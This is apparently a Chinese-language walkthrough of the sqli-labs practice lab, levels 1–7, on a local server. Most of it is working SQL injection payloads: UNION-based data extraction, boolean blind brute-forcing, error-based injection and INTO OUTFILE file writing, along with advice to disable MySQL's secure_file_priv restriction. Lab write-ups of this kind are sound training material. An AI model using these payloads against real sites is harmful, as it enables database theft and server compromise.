less-1 先看源码,查看重点代码,sql传参没有进过任何过滤
使用语句: 单引号判断:http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ 判断字段:http://127.0.0.1/sqli-labs-master/Less-1/?id=1’order by 4 --+ 判断注入位置:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,2,3 --+ 获取信息:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) --+
less-2 审计源码 发现$id并没有进行单引号,id也没有进行过滤,构造语句:-1unionselect1,database(),user()
less-3 审计源代码 发现id也没有进行过滤,$id加()了,尝试使用单括号闭合,构造语句:-1’)union select 1,database(),user()–+
less-4 审计源码可以看到,对id进行加双引号过滤,尝试构造:http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 3 --+
less-5 盲注:布尔盲注,时间盲注,还有报错注入 可以采用burp、sqlmap进行注入 burp: 判断数据库长度-设置后面的1为变量:1’ and length(database())=1–+ 猜测数据库名–1,1为第一位,2,1为第二位–从a开始GET /Less-5/?id=1’ and substr(database(),1,1)=‘§a§’–+ 爆破表的数量:1’ and (select count(table_name) from information_schema.tables where table_schema = ‘security’) =4–+ 爆破表的名称:1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = ‘e’–+ #其中limit0,1是获取第一个表,1,1就是第二个表,2,1是第三个表,3,1是第四个表。 #1,1是第一个表中的第一个字符,2,1就是第二个字符,依次类推。
less-6 和第五关类似,只不过你把单引号换成双引号,示例:http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select1from (selectcount(*),concat(0x3a,0x3a,(select table_name from information_schema.tableswhere table_schema=database() limit0,1),0x3a,0x3a,floor(rand()*2))namefrom information_schema.tablesgroupbyname)a)–+
less-7 考点在于mysql最高权限 构造语句:http://127.0.0.1/sqlilabs/Less-7/?id=1’))%20union%20select%201,2,3%20into%20outfile%20%22c://phpStudy//PHPTutorial//www//sqlilabs//Less-7//uuu.txt%22%23 查看目录下,已生成uuu.txt文档
注意在要对文件进行导入导出首先得要有足够的权限, 但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null) secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。 1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。 2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。 3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制 用以下命令查看secure_file_priv的值
在my.ini文件[mysqld]的后面加上secure_file_priv=‘’(两个英文单引号),然后重启phpstudy即可。 源码如下:
|